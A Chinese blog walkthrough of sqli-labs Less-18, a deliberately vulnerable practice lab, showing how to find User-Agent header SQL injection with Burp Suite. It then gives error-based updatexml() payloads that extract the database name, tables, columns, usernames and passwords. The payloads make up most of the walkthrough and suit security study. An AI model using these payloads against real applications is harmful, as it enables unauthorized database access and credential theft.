sqli-labs-less-18 http头user agent+报错注入

Less-18

首先利用burp suite抓包分析:
在这里插入图片描述
在这里插入图片描述

Username和password验证正确时,返回ip地址和user agent信息
验证错误时,只返回ip地址

所以该关卡是user agent的hppt头注入,
我们可以构造playload更改数据包

更改user agent:

在这里插入图片描述

UA作为数据包中的信息,最后又返回出来,说明后台可能使用了insert into函数将UA插入到数据库,然后再进行输出,
Insert into table value(v01,v02,)

首先判断UA是否存在注入

可以通过更改UA信息:
将UA更改为’,显示UA,并且返回了错误信息,通过错误信息我们可以看到,返回了ip和id名,因此猜测UA信息传入后台数据库可能的insert into语句是:insert into table value(‘UA’,‘ip’,‘id’);
在这里插入图片描述

因为返回的错误中ip和id的闭合方式为‘’,因此我们猜测UA的闭合方式也是‘’,接下来验证猜想:
构造UA为1’,1,1)#
在这里插入图片描述

可以看到验证成功,并没有报错,这样我们可以修改第UA位置的语句,将我们需要获取的信息通过sql语句带入数据库中,再通过报错信息带出:

获取当前数据库名:

’ or updatexml(1,concat(0x7e,(database())),1),1,1)#
在这里插入图片描述
在这里插入图片描述

获取数据库中的表:

’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1)),1),1,1)#
在这里插入图片描述

’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)),1),1,1)#
在这里插入图片描述

获取users表中的字段:

’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273)),1),1,1)#
在这里插入图片描述

获取username的数据:

’ or updatexml(1,concat(0x7e,(select group_concat(username) from security.users)),1),1,1)#
在这里插入图片描述

获取password字段的数据:

’ or updatexml(1,concat(0x7e,(select group_concat(password) from security.users)),1),1,1)#
在这里插入图片描述

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页